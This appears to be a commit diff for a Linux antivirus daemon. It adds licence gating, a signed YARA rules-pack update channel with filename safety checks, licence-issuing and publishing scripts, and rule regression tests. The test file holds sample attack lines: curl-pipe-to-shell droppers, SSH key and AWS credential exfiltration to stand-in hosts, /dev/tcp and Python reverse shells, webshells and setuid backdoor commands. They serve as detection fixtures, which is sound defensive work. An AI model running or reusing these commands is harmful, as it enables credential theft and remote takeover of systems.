let why = "needs root (CAP_SYS_ADMIN)";
events.push("gate", "warn", format!("execution gate off: {why}"));
@ -757,6 +790,32 @@ fn dispatch(req: &hound_api::Request, st: &DaemonState) -> Result<Value> {
Ok(serde_json::to_value(report)?)
}
// ── licence ──
"license.install" => {
let token = req
.params
.as_ref()
.and_then(|p| p.get("token"))
.and_then(Value::as_str)
.context("license.install requires params.token")?;
let state = st.license.install(token)?;
let s = state.status();
st.events.push(
"license",
"info",
format!(
"licence installed: {} tier{}",
s.tier,
if s.holder.is_empty() {
String::new()
} else {
format!(" for {}", s.holder)
}
),
);
Ok(serde_json::to_value(s)?)
}
// ── realtime ──
"realtime.status" => Ok(serde_json::to_value(st.realtime.status())?),
"realtime.set_enabled" => {
@ -786,6 +845,18 @@ fn dispatch(req: &hound_api::Request, st: &DaemonState) -> Result<Value> {
/// One definitions check, using the same install path as `hound update` so
/// there is no second implementation to drift. Returns how many packs landed.
fn scheduled_defs_update(st: &DaemonState) -> Result<usize> {
// The full feed is what a Pro subscription pays for. Checked here, at
// fetch time rather than at boot, so installing a licence takes effect
// on the next cycle without a restart — and a lapse stops the fetch
// without touching what is already on disk.
if !st
.license
.current()
.effective
.allows(hound_api::license::Capability::FullSupplyChainFeed)
{
return Ok(0);
}
let keys = defs::trusted_keys();
let trusted: Vec<(&str, ed25519_dalek::VerifyingKey)> =
keys.iter().map(|(id, k)| (id.as_str(), *k)).collect();
@ -969,6 +1040,7 @@ fn status(st: &DaemonState) -> Result<hound_api::Status> {
detail: d.detail.clone(),
}
},
license: st.license.current().status(),
})
}
@ -1009,28 +1081,43 @@ fn update(st: &DaemonState) -> Result<hound_api::UpdateResult> {
let trusted: Vec<(&str, ed25519_dalek::VerifyingKey)> =
keys.iter().map(|(id, k)| (id.as_str(), *k)).collect();
match update::run(&update::install_dir(), &trusted) {
Ok(outcome) => {
lines.push(format!("definitions: {}", outcome.summary()));
lines.extend(outcome.log.iter().map(|l| format!(" {l}")));
if !outcome.installed.is_empty() {
let loaded = st.defs.reload();
lines.push(format!(
" loaded {} indicators from {} pack(s) [{}]",
loaded.indicators,
loaded.packs.len(),
loaded.version
));
let feed_licensed = st
.license
.current()
.effective
.allows(hound_api::license::Capability::FullSupplyChainFeed);
if !feed_licensed {
// Said once, plainly, in the update output — and never as a nag
// anywhere else. The built-in rules still reload below, and any
// packs already on disk stay loaded.
lines.push(format!(
"definitions: {}",
hound_api::license::Capability::FullSupplyChainFeed.explain_absence()
));
} else {
match update::run(&update::install_dir(), &trusted) {
Ok(outcome) => {
lines.push(format!("definitions: {}", outcome.summary()));
lines.extend(outcome.log.iter().map(|l| format!(" {l}")));
if !outcome.installed.is_empty() {
let loaded = st.defs.reload();
lines.push(format!(
" loaded {} indicators from {} pack(s) [{}]",
loaded.indicators,
loaded.packs.len(),
loaded.version
));
}
let sev = if outcome.rejected.is_empty() { "info" } else { "warn" };
st.events
.push("update", sev, format!("definitions: {}", outcome.summary()));
}
Err(e) => {
// Reported, not fatal.
lines.push(format!("definitions: could not update — {e}"));
st.events
.push("update", "warn", format!("definitions update failed: {e}"));
}
let sev = if outcome.rejected.is_empty() { "info" } else { "warn" };
st.events
.push("update", sev, format!("definitions: {}", outcome.summary()));
}
Err(e) => {
// Reported, not fatal.
lines.push(format!("definitions: could not update — {e}"));
st.events
.push("update", "warn", format!("definitions update failed: {e}"));
}
}

View file

@ -272,6 +272,8 @@ mod tests {
"quarantine.restore",
"quarantine.remove",
"realtime.set_enabled",
// Installing a licence writes a file the daemon acts on.
"license.install",
] {
assert_eq!(access_for(admin), Access::Admin, "{admin} must require root");
}

View file

@ -60,6 +60,10 @@ pub struct IndexEntry {
pub struct Index {
#[serde(default)]
pub packs: Vec<IndexEntry>,
/// Signed YARA rules packs — the curated threat pack channel. Absent
/// from older indexes, which is an empty list, which is fine.
#[serde(default)]
pub rules: Vec<IndexEntry>,
}
/// What one update run did.
@ -96,11 +100,12 @@ impl Outcome {
///
/// Without this, an entry of `../../../etc/cron.d/evil` would have the
/// updater write wherever it liked — a path traversal handed to a process
/// running as root. Only a plain basename ending in `.pack` is accepted.
pub fn safe_pack_name(name: &str) -> bool {
/// running as root. Only a plain basename with the expected extension is
/// accepted.
fn safe_name(name: &str, extension: &str) -> bool {
!name.is_empty()
&& name.len() <= 128
&& name.ends_with(".pack")
&& name.ends_with(extension)
&& !name.contains('/')
&& !name.contains('\\')
&& !name.contains("..")
@ -110,6 +115,14 @@ pub fn safe_pack_name(name: &str) -> bool {
.all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.'))
}
pub fn safe_pack_name(name: &str) -> bool {
safe_name(name, ".pack")
}
pub fn safe_rules_name(name: &str) -> bool {
safe_name(name, ".rpack")
}
fn sha256_hex(bytes: &[u8]) -> String {
let mut h = Sha256::new();
h.update(bytes);
@ -230,9 +243,139 @@ pub fn run(dir: &Path, trusted: &[(&str, ed25519_dalek::VerifyingKey)]) -> Resul
out.installed.push(entry.file.clone());
}
install_rules_packs(&base, &index, trusted, &mut out);
Ok(out)
}
/// Fetch and install the signed YARA rules packs the index offers.
///
/// The verbatim `.rpack` is kept beside the extracted `.yar` so the next
/// run can compare hashes and skip the download; the rule store only
/// compiles `*.yar`, so the envelope sitting there is inert. The `.yar` is
/// extracted from the *verified* payload — the YARA compiler never sees
/// bytes whose signature did not check out.
fn install_rules_packs(
base: &str,
index: &Index,
trusted: &[(&str, ed25519_dalek::VerifyingKey)],
out: &mut Outcome,
) {
if index.rules.is_empty() {
return;
}
let dir = rules_install_dir();
if let Err(e) = std::fs::create_dir_all(&dir) {
out.log.push(format!("rules: could not create {}: {e}", dir.display()));
return;
}
for entry in &index.rules {
if !safe_rules_name(&entry.file) {
out.rejected.push(entry.file.clone());
out.log.push(format!(
"refused a rules-pack name that is not a plain filename: {:?}",
entry.file
));
continue;
}
let dest = dir.join(&entry.file);
if let Ok(existing) = std::fs::read(&dest) {
if !entry.sha256.is_empty() && sha256_hex(&existing) == entry.sha256 {
out.already_current.push(entry.file.clone());
continue;
}
}
let url = format!("{base}/{}", entry.file);
let bytes = match get(&url, MAX_PACK_BYTES) {
Ok(b) => b,
Err(e) => {
out.rejected.push(entry.file.clone());
out.log.push(format!("{}: {e}", entry.file));
continue;
}
};
// VERIFY BEFORE INSTALL, same as a definitions pack.
let signed: SignedPack = match serde_json::from_slice(&bytes) {
Ok(s) => s,
Err(e) => {
out.rejected.push(entry.file.clone());
out.log.push(format!("{}: not a rules pack ({e})", entry.file));
continue;
}
};
let rules = match pack::verify_rules(&signed, trusted) {
Ok(r) => r,
Err(e) => {
out.rejected.push(entry.file.clone());
out.log.push(format!("{}: {e}", entry.file));
continue;
}
};
// The installed basename comes from inside the signed payload, and
// still gets the hostile-filename treatment: signing keys can be
// stolen, and a stolen key must not also be a path traversal.
if !acceptable_rules_pack_name(&rules.name) {
out.rejected.push(entry.file.clone());
out.log
.push(format!("{}: refused pack name {:?}", entry.file, rules.name));
continue;
}
let install = |path: &Path, bytes: &[u8]| -> std::io::Result<()> {
let tmp = dir.join(format!(
".{}.part",
path.file_name().unwrap_or_default().to_string_lossy()
));
std::fs::write(&tmp, bytes)?;
std::fs::rename(&tmp, path)
};
let yar = dir.join(format!("{}.yar", rules.name));
if let Err(e) = install(&yar, rules.yara.as_bytes())
.and_then(|_| install(&dir.join("VERSION"), rules.version.as_bytes()))
.and_then(|_| install(&dest, &bytes))
{
out.rejected.push(entry.file.clone());
out.log.push(format!("{}: could not install: {e}", entry.file));
continue;
}
let rule_count = rules.yara.matches("\nrule ").count()
+ usize::from(rules.yara.starts_with("rule "));
out.log.push(format!(
"{} — {} rules, version {}",
entry.file, rule_count, rules.version
));
out.installed.push(entry.file.clone());
}
}
/// A pack name that may become an installed basename: plain, short, no
/// dots at all — the extension is appended by us, never supplied.
fn acceptable_rules_pack_name(name: &str) -> bool {
!name.is_empty()
&& name.len() <= 64
&& name
.chars()
.all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_'))
}
/// Where rules packs land, mirroring `install_dir` for definitions and
/// matching where `rules::rules_dir` looks.
pub fn rules_install_dir() -> PathBuf {
if let Some(dir) = std::env::var_os("HOUNDD_RULES_DIR") {
return PathBuf::from(dir);
}
if crate::caps::is_root() {
return PathBuf::from("/var/lib/hound/rules");
}
let home = std::env::var("HOME").unwrap_or_else(|_| "/root".into());
PathBuf::from(home).join(".local/share/hound/rules")
}
/// Where the daemon keeps packs, creating the system location when root.
pub fn install_dir() -> PathBuf {
if let Some(dir) = std::env::var_os("HOUNDD_DEFS_DIR") {
@ -276,6 +419,25 @@ mod tests {
}
}
#[test]
fn rules_pack_filenames_get_the_same_treatment() {
assert!(safe_rules_name("hound-linux-2026.08.21.rpack"));
for bad in ["../evil.rpack", "a.pack", "sub/dir.rpack", ".hidden.rpack", ""] {
assert!(!safe_rules_name(bad), "{bad:?} should have been refused");
}
}
/// The installed basename comes from *inside* the signed payload. A
/// stolen signing key is bad enough; it must not also be a path
/// traversal into /etc.
#[test]
fn a_signed_but_hostile_pack_name_is_refused() {
for bad in ["../cron.d/evil", "a.yar", "with space", "", &"x".repeat(65)] {
assert!(!acceptable_rules_pack_name(bad), "{bad:?} should have been refused");
}
assert!(acceptable_rules_pack_name("hound-linux"));
}
#[test]
fn an_absurdly_long_name_is_refused() {
assert!(!safe_pack_name(&format!("{}.pack", "a".repeat(200))));

View file

@ -0,0 +1,274 @@
//! Regression tests for the Hound Linux threat pack
//! (`crates/hound-defs/rules/hound-linux.yar`).
//!
//! The pack ships through the signed rules channel rather than compiled
//! into the binary, so these tests are its safety net: they compile it
//! under the real engine, prove every rule still fires on a crafted
//! sample of the thing it names, and re-run the goodware gate that keeps
//! it from eating a system binary. A rule that stops detecting, or starts
//! matching real files, fails the build here rather than in the field.
use std::path::PathBuf;
fn pack_source() -> String {
// The pack lives in the sibling hound-defs crate.
let path = PathBuf::from(env!("CARGO_MANIFEST_DIR"))
.join("../hound-defs/rules/hound-linux.yar");
std::fs::read_to_string(&path)
.unwrap_or_else(|e| panic!("reading {}: {e}", path.display()))
}
fn compiled() -> yara_x::Rules {
let src = pack_source();
let mut c = yara_x::Compiler::new();
c.add_source(yara_x::SourceCode::from(src.as_str()).with_origin("hound-linux.yar"))
.expect("the threat pack must compile under yara-x");
c.build()
}
fn hits(rules: &yara_x::Rules, bytes: &[u8]) -> Vec<String> {
let mut sc = yara_x::Scanner::new(rules);
sc.scan(bytes)
.unwrap()
.matching_rules()
.map(|r| r.identifier().to_string())
.collect()
}
/// A minimal ELF header so ELF-anchored rules can fire on a crafted body.
fn elf(body: &[u8]) -> Vec<u8> {
let mut v = vec![0x7f, b'E', b'L', b'F'];
v.extend_from_slice(&[2, 1, 1, 0]);
v.extend_from_slice(&[0u8; 56]);
v.extend_from_slice(body);
v
}
#[test]
fn the_pack_compiles_and_has_the_rules_we_think_it_does() {
let rules = compiled();
let count = rules.iter().count();
assert!(count >= 30, "expected the full pack, compiled {count}");
}
#[test]
fn every_rule_fires_on_a_sample_of_what_it_names() {
let rules = compiled();
// (rule identifier, a crafted sample that must trigger it).
let cases: &[(&str, Vec<u8>)] = &[
(
"Linux_Coinminer_XMRig_Config",
elf(b"stratum+tcp://pool.example:3333 donate-level randomx \"coin\":"),
),
(
"Linux_Coinminer_XMRigCC",
elf(b"XMRigCCServer control_command cc-client"),
),
(
"Linux_Coinminer_Generic_Pool",
elf(b"stratum+tcp:// pool.minexmr.com worker"),
),
(
"Linux_Bot_Mirai",
elf(b"/dev/watchdog GETLOCALIP listening tun0 botnet"),
),
(
"Linux_Bot_Gafgyt",
elf(b"/bin/busybox TCP flood UDP flood GETLOCALIP HTTPFLOOD"),
),
(
"Linux_Bot_Tsunami",
elf(b"PRIVMSG TSUNAMI GETSPOOFS PAN <target>"),
),
(
"Linux_Backdoor_XorDDoS",
elf(b"/lib/libudev.so rootkit md5= hostname cat /proc/net/dev"),
),
(
"Linux_Backdoor_TinyShell",
elf(b"tsh RUNSHELL GET_FILE PUT_FILE"),
),
(
"Linux_Backdoor_Rekoobe",
elf(b"/tmp/.X11-unix/ d[%d] /proc/%d/cmdline HISTFILE"),
),
(
"Linux_Backdoor_BPFDoor",
elf(b"/var/run/haldrund.pid /dev/shm/kdmtmpflush hald-addon-volume"),
),
(
"Linux_Rootkit_Diamorphine",
elf(b"diamorphine module_hide hacked_getdents is_invisible"),
),
(
"Linux_Rootkit_Reptile",
elf(b"reptile magic_prefix hide_pid /reptile/reptile_shell"),
),
(
"Linux_Rootkit_Bedevil",
elf(b"bdvl shell_pass hidden_port ldpreloadhijack"),
),
(
"Linux_Rootkit_Preload_Config",
b"/dev/shm/.libhide.so\n".to_vec(),
),
(
"Linux_Ransom_RansomEXX",
elf(b"!NEWS_FOR_EXX_COMPANY! .ransomexx encrypt_file mbedtls_"),
),
(
"Linux_Ransom_DarkSide_ESXi",
elf(b"esxcli vm process kill README .onion encrypted by"),
),
(
"Linux_Ransom_Note_Generic",
b"All your files are encrypted. Contact us at abcdefghij234567.onion to decrypt your files.".to_vec(),
),
(
"Linux_Webshell_JSP_Eval",
b"<%@ page %> <% Runtime.getRuntime().exec(request.getParameter(\"c\")); %>".to_vec(),
),
(
"Linux_Webshell_ASP_Eval",
b"<% eval(Request(\"cmd\")) %>".to_vec(),
),
(
"Linux_Webshell_PHP_Obfuscated",
b"<?php $_GET['x']($_POST['y']); ?>".to_vec(),
),
(
"Linux_Webshell_Python",
b"import cgi\nf=cgi.FieldStorage()\nos.system(f.getvalue('cmd'))\n".to_vec(),
),
(
"Linux_Webshell_Perl",
b"#!/usr/bin/perl\nuse CGI;\nmy $c=param('cmd');\nsystem($c);\n".to_vec(),
),
(
"Linux_Webshell_C99_R57",
b"<?php /* c99shell */ $x='FilesMan'; echo 'r57shell'; ?>".to_vec(),
),
(
"Linux_Dropper_CurlPipeSh",
b"#!/bin/sh\ncurl -s http://evil.example/x | sh\n".to_vec(),
),
(
"Linux_Dropper_TmpChmodExec",
b"#!/bin/sh\nwget http://evil/x -O /tmp/x\nchmod +x /tmp/x\n/tmp/x\n".to_vec(),
),
(
"Linux_Stealer_SSHCredHarvest",
b"#!/bin/bash\ntar c ~/.ssh/id_rsa ~/.ssh/known_hosts | curl -T- http://evil/\n".to_vec(),
),
(
"Linux_Malware_BashHistory_Exfil",
b"#!/bin/bash\ncat ~/.aws/credentials | curl http://evil.example/x\n".to_vec(),
),
(
"Linux_ReverseShell_DevTcp",
b"#!/bin/bash\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n".to_vec(),
),
(
"Linux_ReverseShell_Interpreter",
b"import socket,subprocess\ns=socket.socket()\ns.connect((\"10.0.0.1\",4444))\nsubprocess.call([\"/bin/sh\"])\n".to_vec(),
),
(
"Linux_Malware_EmbeddedElf_B64",
b"#!/bin/sh\necho f0VMRgIBAQ... | base64 -d > /tmp/x\n".to_vec(),
),
(
"Linux_Malware_HistoryTamper",
b"#!/bin/bash\nunset HISTFILE\nrm -f /var/log/wtmp\n".to_vec(),
),
(
"Linux_Malware_Persistence_CronDownload",
b"*/5 * * * * root curl -s http://evil/x | bash\n".to_vec(),
),
(
"Linux_Malware_LdPreloadEnvInject",
b"#!/bin/sh\nexport LD_PRELOAD=/dev/shm/.evil.so\n".to_vec(),
),
(
"Linux_Malware_SetuidBackdoor_Script",
b"#!/bin/sh\ncp /bin/sh /tmp/.rootsh\nchmod 4755 /tmp/.rootsh\n".to_vec(),
),
];
let mut missed = Vec::new();
let mut seen = std::collections::HashSet::new();
for (rule, sample) in cases {
seen.insert(rule.to_string());
let matched = hits(&compiled(), sample);
if !matched.iter().any(|m| m == rule) {
missed.push(format!("{rule}: sample matched {matched:?} instead"));
}
}
assert!(missed.is_empty(), "rules that did not fire:\n {}", missed.join("\n "));
// Every rule in the pack must have a positive sample above — a rule
// nobody tests is a rule that can silently rot.
let mut untested: Vec<String> = compiled()
.iter()
.map(|r| r.identifier().to_string())
.filter(|id| !seen.contains(id))
.collect();
untested.sort();
assert!(untested.is_empty(), "rules with no positive sample:\n {}", untested.join("\n "));
}
#[test]
fn a_document_about_malware_is_not_malware() {
// The recurring incident: a threat-intel report / AI transcript that
// quotes the very strings the rules key on. The anchors exist for
// exactly this. A plain prose document naming these families and
// techniques must stay clean.
let rules = compiled();
let doc = "\
This report covers Mirai, Gafgyt and XorDDoS. Mirai brute-forces \
Telnet and reports via GETLOCALIP; XorDDoS drops /lib/libudev.so. \
Analysts should watch for stratum+tcp:// pool URLs (donate-level, \
rig-id) that indicate XMRig, for reverse shells like \
'bash -i >& /dev/tcp/host/port 0>&1', and for c99shell / r57shell \
webshells. Diamorphine and Reptile are common LKM rootkits.\n"
.repeat(50);
let h = hits(&rules, doc.as_bytes());
assert!(h.is_empty(), "a document discussing malware must stay clean: {h:?}");
}
#[test]
fn the_pack_does_not_flag_system_binaries() {
// The gate the builder enforces, kept as a test so it also runs in CI.
// Skipped where there is nothing to scan (a minimal container).
let rules = compiled();
let mut scanner = yara_x::Scanner::new(&rules);
let mut checked = 0usize;
let mut failures = Vec::new();
for dir in ["/usr/bin", "/bin", "/usr/sbin"] {
for entry in std::fs::read_dir(dir).into_iter().flatten().flatten() {
let path = entry.path();
let Ok(md) = std::fs::symlink_metadata(&path) else { continue };
if md.is_symlink() || !md.is_file() || md.len() > 32 * 1024 * 1024 {
continue;
}
let Ok(bytes) = std::fs::read(&path) else { continue };
checked += 1;
if let Ok(res) = scanner.scan(&bytes) {
for m in res.matching_rules() {
failures.push(format!("{} -> {}", path.display(), m.identifier()));
}
}
}
}
if checked < 50 {
eprintln!("threat-pack goodware gate: only {checked} binaries readable — not meaningful, skipping");
return;
}
assert!(
failures.is_empty(),
"{} false positive(s) across {checked} system binaries:\n {}",
failures.len(),
failures.join("\n ")
);
eprintln!("threat-pack goodware gate: {checked} system binaries, 0 false positives");
}

BIN
dist/hound_0.1.12_amd64.deb vendored Normal file

Binary file not shown.

4
gui/package-lock.json generated
View file

@ -1,12 +1,12 @@
{
"name": "hound-gui",
"version": "0.1.11",
"version": "0.1.12",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "hound-gui",
"version": "0.1.11",
"version": "0.1.12",
"dependencies": {
"@tauri-apps/api": "^2.5.0",
"@tauri-apps/plugin-dialog": "^2.7.2",

71
tools/issue-license.py Executable file
View file

@ -0,0 +1,71 @@
#!/usr/bin/env python3
"""Issue a Hound licence token.
The token is an Ed25519 signature over the canonical licence text, wrapped
in the same signed-blob JSON as a definitions pack, then base64-encoded to
a single line a customer can paste into:
sudo hound license install <token>
Signed with the same key as definition packs and release manifests, and
verified by the agent against the same compiled-in public key. There is no
licence server and no phone-home: the token is the entire entitlement.
Usage:
tools/issue-license.py --tier pro --holder "Ada L <ada@example.com>" \
--expires 2027-08-21
tools/issue-license.py --tier fleet --holder "Some Shop" --seats 25 \
--expires 2027-08-21
"""
import argparse, base64, json, pathlib, sys
KEY = pathlib.Path.home() / "agents/hound/.secrets/defs-signing.key"
KEY_ID = "hound-2026"
# Must match hound_api::license::License::canonical exactly.
def canonical(tier, holder, expires, seats):
return f"hound-license-v1\ntier={tier}\nholder={holder}\nexpires={expires}\nseats={seats}\n"
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--tier", required=True, choices=["pro", "fleet"])
ap.add_argument("--holder", required=True, help="display name, e.g. 'Ada L <ada@example.com>'")
ap.add_argument("--expires", required=True, help="ISO date, e.g. 2027-08-21; the agent falls back to Free after this")
ap.add_argument("--seats", type=int, default=0, help="Fleet seat count (0 for Pro)")
ap.add_argument("--key", type=pathlib.Path, default=KEY)
a = ap.parse_args()
if len(a.expires) != 10 or a.expires[4] != "-" or a.expires[7] != "-":
sys.exit(f"--expires must be an ISO date (YYYY-MM-DD), got {a.expires!r}")
if "\n" in a.holder or "=" not in canonical("x", a.holder, "", 0).splitlines()[2]:
sys.exit("--holder must be a single line")
if a.tier == "fleet" and a.seats < 3:
sys.exit("Fleet licences have a 3-seat minimum")
if not a.key.is_file():
sys.exit(f"no signing key at {a.key}")
try:
from nacl.signing import SigningKey
except ImportError:
sys.exit("pip install pynacl")
seed = a.key.read_bytes()
if len(seed) == 64:
seed = seed[:32]
sk = SigningKey(seed)
payload = canonical(a.tier, a.holder, a.expires, a.seats).encode()
sig = sk.sign(payload).signature
signed = {
"payload": base64.b64encode(payload).decode(),
"signature": base64.b64encode(sig).decode(),
"key_id": KEY_ID,
}
token = base64.b64encode(json.dumps(signed).encode()).decode()
print(f"# {a.tier} · {a.holder} · expires {a.expires}"
+ (f" · {a.seats} seats" if a.seats else ""), file=sys.stderr)
print(f"# install with: sudo hound license install <token>", file=sys.stderr)
print(token)
if __name__ == "__main__":
main()

79
tools/publish-rules-pack.sh Executable file
View file

@ -0,0 +1,79 @@
#!/usr/bin/env bash
#
# Build, gate, sign and publish the Hound Linux threat pack.
#
# Unlike the definition feed (rebuilt nightly from OSV), the threat pack is
# curated YARA and changes only when a human edits the rules, so this is run
# by hand — or by CI on a change to crates/hound-defs/rules/hound-linux.yar.
#
# The builder refuses to sign a pack that does not compile or that matches a
# system binary (the goodware gate), so a bad edit fails here, not in the
# field. Publishing is atomic per file and the index is rewritten last.
set -euo pipefail
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
KEY="${HOUND_DEFS_KEY:-$HOME/agents/hound/.secrets/defs-signing.key}"
DEST="${HOUND_DEFS_DIR:-/srv/houndav/defs}"
SRC="${HOUND_RULES_SRC:-$ROOT/crates/hound-defs/rules/hound-linux.yar}"
NAME="hound-linux"
VERSION="${1:-$(date -u +%Y.%m.%d)}"
CREATED="$(date -u +%Y-%m-%dT%H:%M:%SZ)"
log() { printf '%s %s\n' "$(date -u +%H:%M:%S)" "$*"; }
[ -f "$KEY" ] || { echo "no signing key at $KEY" >&2; exit 1; }
[ -f "$SRC" ] || { echo "no rules source at $SRC" >&2; exit 1; }
[ -d "$DEST" ] || { echo "no destination directory $DEST" >&2; exit 1; }
BUILDER="$ROOT/target/release/examples/build-rules-pack"
if [ ! -x "$BUILDER" ]; then
log "building the rules-pack builder"
( cd "$ROOT" && cargo build --release -p houndd --example build-rules-pack )
fi
STAGE="$(mktemp -d "${TMPDIR:-/var/tmp}/hound-rules-stage.XXXXXX")"
trap 'rm -rf "$STAGE"' EXIT
PACK="$STAGE/${NAME}-${VERSION}.rpack"
# This compiles, runs the goodware gate against this host's binaries, and
# signs — or exits non-zero without writing anything.
"$BUILDER" "$SRC" "$NAME" "$PACK" "$KEY" "$VERSION" "$CREATED"
base="$(basename "$PACK")"
cp "$PACK" "$DEST/.$base.tmp"
chmod 644 "$DEST/.$base.tmp"
mv -f "$DEST/.$base.tmp" "$DEST/$base"
log "published $base"
# Rebuild the index over everything on disk — definition packs and rules
# packs both. Same logic as refresh-definitions.sh so the two agree.
python3 - "$DEST" <<'PY'
import hashlib, json, os, sys
dest = sys.argv[1]
def newest_by_family(suffix, strip):
newest = {}
for f in sorted(os.listdir(dest)):
if f.endswith(suffix):
newest[f.rsplit("-", 1)[0]] = f
out = []
for _, f in sorted(newest.items()):
p = os.path.join(dest, f)
out.append({
"file": f,
"sha256": hashlib.sha256(open(p, "rb").read()).hexdigest(),
"size": os.path.getsize(p),
"version": f.rsplit("-", 1)[1][:-strip],
})
return out
packs = newest_by_family(".pack", 5)
rules = newest_by_family(".rpack", 6)
tmp = os.path.join(dest, ".index.json.tmp")
with open(tmp, "w") as fh:
json.dump({"packs": packs, "rules": rules}, fh, indent=2)
fh.write("\n")
os.chmod(tmp, 0o644)
os.replace(tmp, os.path.join(dest, "index.json"))
print(f"index.json lists {len(packs)} definition pack(s) and {len(rules)} rules pack(s)")
PY
log "done"

View file

@ -87,30 +87,39 @@ done
python3 - "$DEST" "$VERSION" <<'PY'
import hashlib, json, os, sys
dest, version = sys.argv[1], sys.argv[2]
packs = []
# One pack per ecosystem: the newest. Older ones stay on disk so existing
# One entry per family: the newest file. Older ones stay on disk so existing
# URLs keep resolving, but the index only ever advertises current data.
newest = {}
for f in sorted(os.listdir(dest)):
if not f.endswith(".pack"):
continue
eco = f.rsplit("-", 1)[0]
newest[eco] = f
for eco, f in sorted(newest.items()):
p = os.path.join(dest, f)
packs.append({
"file": f,
"sha256": hashlib.sha256(open(p, "rb").read()).hexdigest(),
"size": os.path.getsize(p),
"version": f.rsplit("-", 1)[1][:-5],
})
def newest_by_family(suffix, strip):
newest = {}
for f in sorted(os.listdir(dest)):
if f.endswith(suffix):
newest[f.rsplit("-", 1)[0]] = f
out = []
for _, f in sorted(newest.items()):
p = os.path.join(dest, f)
out.append({
"file": f,
"sha256": hashlib.sha256(open(p, "rb").read()).hexdigest(),
"size": os.path.getsize(p),
"version": f.rsplit("-", 1)[1][:-strip],
})
return out
# Definition packs (.pack) are rebuilt daily by this script. Rules packs
# (.rpack — the curated threat pack) are built and published separately by
# tools/publish-rules-pack.sh, but the index advertises both, so it is
# rebuilt from whatever .rpack files are on disk rather than dropping them.
packs = newest_by_family(".pack", 5)
rules = newest_by_family(".rpack", 6)
tmp = os.path.join(dest, ".index.json.tmp")
with open(tmp, "w") as fh:
json.dump({"packs": packs}, fh, indent=2)
json.dump({"packs": packs, "rules": rules}, fh, indent=2)
fh.write("\n")
os.chmod(tmp, 0o644)
os.replace(tmp, os.path.join(dest, "index.json"))
print(f"index.json lists {len(packs)} pack(s)")
print(f"index.json lists {len(packs)} definition pack(s) and {len(rules)} rules pack(s)")
PY
log "published $published pack(s) for $VERSION"